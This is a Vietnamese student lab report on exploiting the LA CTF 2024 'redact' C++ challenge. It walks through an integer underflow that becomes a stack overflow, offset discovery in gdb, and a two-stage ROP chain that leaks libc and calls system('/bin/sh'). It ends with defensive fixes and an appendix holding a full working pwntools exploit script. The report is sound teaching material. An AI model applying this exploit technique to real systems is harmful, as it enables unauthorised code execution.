

TRƯỜNG ĐẠI HỌC CÔNG NGHỆ
ĐẠI HỌC QUỐC GIA HÀ NỘI
KHOA CÔNG NGHỆ THÔNG TIN



BÁO CÁO ĐỒ ÁN THỰC HÀNH
AN TOÀN VÀ AN NINH MẠNG (INT3124)

ĐỀ TÀI

KHAI THÁC LỖ HỔNG INTEGER
UNDERFLOW VÀ ROP CHAIN TRONG
ỨNG DỤNG C++ (REDACT-LACTF)

Giảng viên hướng dẫn: [Tên Giảng Viên]

Sinh viên thực hiện:

Họ và tên

Bùi Minh Hoàng

Đào Phương Nam

MSSV

23021557

23021639

Hà Nội, 2026

Lời nói đầu

Trong báo cáo này, chúng tôi trình bày kết quả của quá trình thực tập và nghiên cứu về an toàn thông tin, cụ thể là việc phân tích và khai thác lỗ hổng trong một ứng dụng C++. Qua việc áp dụng các kiến thức đã học về quản lý bộ nhớ, kiến trúc máy tính và kỹ thuật Return-Oriented Programming (ROP), chúng tôi đã xây dựng thành công kịch bản khai thác cho thử thách "redact".

Chúng tôi xin gửi lời cảm ơn chân thành đến giảng viên hướng dẫn đã tạo điều kiện và định hướng cho chúng tôi hoàn thành đồ án này.

Mục lục

Lời nói đầu	i
1 Tóm tắt	1
2 Giới thiệu đề tài và mục tiêu	2
2.1 Giới thiệu đề tài	2
2.2 Mục tiêu	2
3 Bối cảnh challenge và kiến thức nền liên quan	3
3.1 Bối cảnh challenge	3
3.2 Kiến thức nền liên quan	3
4 Môi trường thực nghiệm và công cụ sử dụng	4
5 Quy trình thực hiện từng bước	5
5.1 Xác định lỗi Integer Underflow	5
5.2 Tìm Offset bằng Cyclic Pattern	5
5.3 Xây dựng ROP Chain Stage 1: Rò rỉ địa chỉ Libc	6
5.4 Xây dựng ROP Chain Stage 2: Thực thi Shell	6
6 Kết quả thu được	7
7 Phân tích kỹ thuật và phân tích phòng thủ	8
7.1 Phân tích kỹ thuật	8
7.2 Phân tích phòng thủ	8
8 Kết luận	9
A Phụ lục	10
A.1 Mã nguồn khai thác (solve.py)	10

Chương 1

Tóm tắt

Báo cáo này trình bày quy trình kiểm thử xâm nhập và khai thác lỗ hổng bảo mật trong ứng dụng C++ "redact". Qua phân tích tĩnh và động, nhóm thực hiện đã xác định được lỗi Integer Underflow dẫn đến tràn bộ đệm trên Stack (Stack-based Buffer Overflow). Bằng cách sử dụng kỹ thuật ROP (Return-Oriented Programming), chúng tôi đã vượt qua các cơ chế bảo mật như ASLR và NX để chiếm quyền điều khiển hệ thống. Kết quả thực nghiệm cho thấy khả năng thực thi mã từ xa (RCE) hoàn toàn khả thi trên môi trường Linux hiện đại.

Chương 2

Giới thiệu đề tài và mục tiêu

2.1 Giới thiệu đề tài

Thử thách "redact" là một bài toán Pwn từ giải LA CTF 2024. Ứng dụng được viết bằng C++ với mục đích "che giấu" (redact) các phần của văn bản nhưng lại chứa lỗi logic nghiêm trọng trong việc kiểm tra biên. Đây là một ví dụ điển hình về việc sự thiếu an toàn trong C++ có thể dẫn đến hậu quả nghiêm trọng nếu không được xử lý đúng cách.

2.2 Mục tiêu

- Xác định và chứng minh lỗ hổng trong mã nguồn C++.
- Tái hiện lỗi tràn bộ đệm thông qua việc điều khiển các thanh ghi RIP và RSP.
- Xây dựng kịch bản khai thác hoàn chỉnh (exploit script) vượt qua ASLR.
- Chiếm quyền điều khiển (get shell) và đọc cờ (flag) từ server.
- Đề xuất các biện pháp phòng thủ hiệu quả cho nhà phát triển.

Chương 3

Bối cảnh challenge và kiến thức nền liên quan

3.1 Bối cảnh challenge

Môi trường thực thi: Docker container (`debian@sha256:98d3b...`), binary được biên dịch với các tùy chọn:

- `-no-pie`: Địa chỉ mã nguồn cố định (`0x400000`).
- `-fno-stack-protector`: Không có stack canary để bảo vệ địa chỉ trả về.
- `NX enabled`: Ngăn chặn thực thi shellcode trực tiếp trên Stack.

3.2 Kiến thức nền liên quan

- **Integer Underflow**: Xảy ra khi kết quả của một phép trừ số không dấu (`size_t`) nhỏ hơn 0, dẫn đến giá trị cực lớn (ví dụ: `0 - 1 = 0xFFFFFFFFFFFFFFFF`).
- **Small String Optimization (SSO)**: Cơ chế của `std::string` lưu trữ chuỗi `<= 15` bytes trực tiếp trên Stack để tăng hiệu năng.
- **ROP (Return-Oriented Programming)**: Sử dụng các gadgets (`pop rdi; ret`) để thiết lập đối số hàm và điều khiển luồng thực thi thông qua bảng PLT/GOT.

Chương 4

Môi trường thực nghiệm và công cụ sử dụng

- Hệ điều hành: EndeavourOS (Linux), kernel 6.x.
- Trình gỡ lỗi: gdb (với pwndbg) để quan sát bộ nhớ và thanh ghi.
- Khai thác: python3 với thư viện pwntools để tương tác với binary.
- Phân tích: objdump, ROPgadget để tìm địa chỉ các hàm và gadgets.
- Docker: Để đảm bảo tính nhất quán của ABI và Libc.

Chương 5

Quy trình thực hiện từng bước

5.1 Xác định lỗi Integer Underflow

Đoạn mã sau trong `redact.cpp` chứa lỗi logic:

```
1 if (index < 0 || index > text.size() - placeholder.  
    size()) { ... }
```

Khi `placeholder.size() > text.size()`, phép trừ `text.size() - placeholder.size()` sẽ bị underflow, cho phép `index` nhận các giá trị lớn hơn kích thước thực tế của `text`.

5.2 Tìm Offset bằng Cyclic Pattern

Chúng tôi sử dụng `cyclic(100)` và quan sát bằng GDB để tìm địa chỉ trả về bị ghi đè. Kết quả tính toán cho thấy offset chính xác là 72 bytes.

```
Reading symbols from ./redact...  
(No debugging symbols found in ./redact)  
(gdb) run  
Starting program: /app/redact  
Enter some text:  
Enter a placeholder: aaaabaaacaaadaaaeeaaafaaagaaahaaiaaaajaaakaalaamaanaaaaoaaapaqaaraasaaataaaauaaavaaaawaaaxaaayaaa  
Enter the index of the stuff to redact: 0  
  
Program received signal SIGSEGV, Segmentation fault.  
0x0000000040149a in main ()  
(gdb) i r rip rsp  
rip      0x40149a      0x40149a <main+664>  
rsp      0x7fffffffec78 0x7fffffffec78  
(gdb) x/gx $rsp  
0x7fffffffec78: 0x6161617461616173  
(gdb) █
```

Hình 5.1: Phát hiện Segfault tại lệnh `ret` với giá trị stack `0x6161617461616173`

5.3 Xây dựng ROP Chain Stage 1: Rò rỉ địa chỉ Libc

Do ASLR được bật, địa chỉ Libc thay đổi mỗi lần chạy. Chúng tôi thiết lập RDI là địa chỉ `std::cout` và RSI là địa chỉ GOT của `__libc_start_main` để in ra địa chỉ thực tế.

5.4 Xây dựng ROP Chain Stage 2: Thực thi Shell

```
○ ~/Repos/redact-lactf > python solve.py
[*] '/mnt/New Volume/Repos/redact-lactf/redact'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
  Stripped:  No
[*] '/usr/lib/libc.so.6'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
  SHSTK:     Enabled
  IBT:       Enabled
[*] Starting local process '/mnt/New Volume/Repos/redact-lactf/redact': pid 246225
[*] Loaded 25 cached gadgets for './redact'
[*] 0x0000:      0x40177b pop rdi; ret
    0x0008:      0x4040c0 [arg0] rdi = _ZSt4cout
    0x0010:      0x401779 pop rsi; pop r15; ret
    0x0018:      0x403fe8 [arg1] rsi = __libc_start_main
    0x0020:      b'iaaaajaaa' <pad r15>
    0x0028:      0x4010c0 _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc
    0x0030:      0x401016 ret
    0x0038:      0x401202 main()
[*] hex(leak)='0x7ff719836770'
[*] hex(libc.address)='0x7ff71980f000'
[*] Loaded 132 cached gadgets for '/usr/lib/libc.so.6'
[*] Switching to interactive mode
```

Hình 5.2: Kịch bản khai thác hoàn chỉnh sử dụng pwntools

Sau khi tính toán được địa chỉ cơ sở của Libc, chúng tôi gọi `system("/bin/sh")` với một `ret` gadget để căn lề stack 16-byte.

Chương 6

Kết quả thu được

```
[*] Switching to interactive mode

$ whoami
thep1ckaxe
$ id
uid=1000(thep1ckaxe) gid=1001(thep1ckaxe) groups=1001(thep1ckaxe),3(sys),950(adusers),953(docker),981(rfkill),985(video),
989(render),998(wheel),1000(autologin)
$ cat flag.txt
lactf{1_l0v3_c++_L2zuBdqJABGU}
$
```

Hình 6.1: Chiếm quyền điều khiển thành công và đọc Flag

Kết quả thực thi thành công trên máy cục bộ:

```
1 $ whoami
2 thep1ckaxe
3 $ cat flag.txt
4 lactf{1_l0v3_c++_L2zuBdqJABGU}
```

Chương 7

Phân tích kỹ thuật và phân tích phòng thủ

7.1 Phân tích kỹ thuật

Cuộc tấn công lợi dụng việc `std::copy` không kiểm tra giới hạn của buffer đích một cách an toàn khi có lỗi underflow. Dữ liệu từ `placeholder` được chép đè qua vùng nhớ của `text`, ghi đè lên `RBP` và `RIP`. Đây là một lỗi tràn bộ đệm cổ điển nhưng được kích hoạt qua một lỗi logic số nguyên hiện đại.

7.2 Phân tích phòng thủ

- **Fix mã nguồn:** Sử dụng `if (index + placeholder.size() > text.size())` thay vì phép trừ.
- **Biên dịch an toàn:** Luôn bật Stack Canaries (`-fstack-protector-all`) và PIE (`-fPIE -pie`) để tăng độ khó cho ROP.
- **Sử dụng hàm an toàn:** Ưu tiên các phương thức của lớp `std::string` như `replace()` có kiểm tra biên nội bộ thay vì `std::copy` thô.

Chương 8

Kết luận

Thông qua đề án, chúng tôi đã hiểu sâu hơn về cách các ứng dụng C++ quản lý bộ nhớ và cách các lỗ hổng logic đơn giản có thể dẫn đến việc chiếm toàn quyền hệ thống. Kỹ thuật ROP vẫn là một công cụ mạnh mẽ để vượt qua các cơ chế bảo mật hiện đại nếu cấu hình biên dịch không được tối ưu.

Phụ lục A

Phụ lục

A.1 Mã nguồn khai thác (solve.py)

```
1 from pwn import *
2
3 exe = ELF("./redact")
4 libc = exe.libc
5 context.binary = exe
6
7 r = process([exe.path])
8
9 rop1 = ROP(exe, badchars=b"\n")
10 rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc",
11           (exe.symbols["_ZSt4cout"], exe.got.__libc_start_main))
12 rop1.raw(rop1.find_gadget(["ret"]))
13 rop1.main()
14
15 r.sendlineafter(b"text: ", b"")
16 r.sendlineafter(b"placeholder: ", rop1.generate_padding(0, 72) + rop1.chain())
17 r.sendlineafter(b"redact: ", b"0")
18 r.recvline()
19
20 leak = unpack(r.recvuntil(b"Enter", drop=True).ljust(8, b"\0"))
21 libc.address = leak - libc.symbols.__libc_start_main
22
23 rop2 = ROP([exe, libc], badchars=b'\n')
24 rop2.raw(0x401016) # ret gadget
25 rop2.system(next(libc.search(b"/bin/sh")))
26
```

```
27 r.sendlineafter(b"placeholder: ", b"A"*72 + rop2.chain  
   ())  
28 r.sendlineafter(b"redact: ", b"0")  
29  
30 r.interactive()
```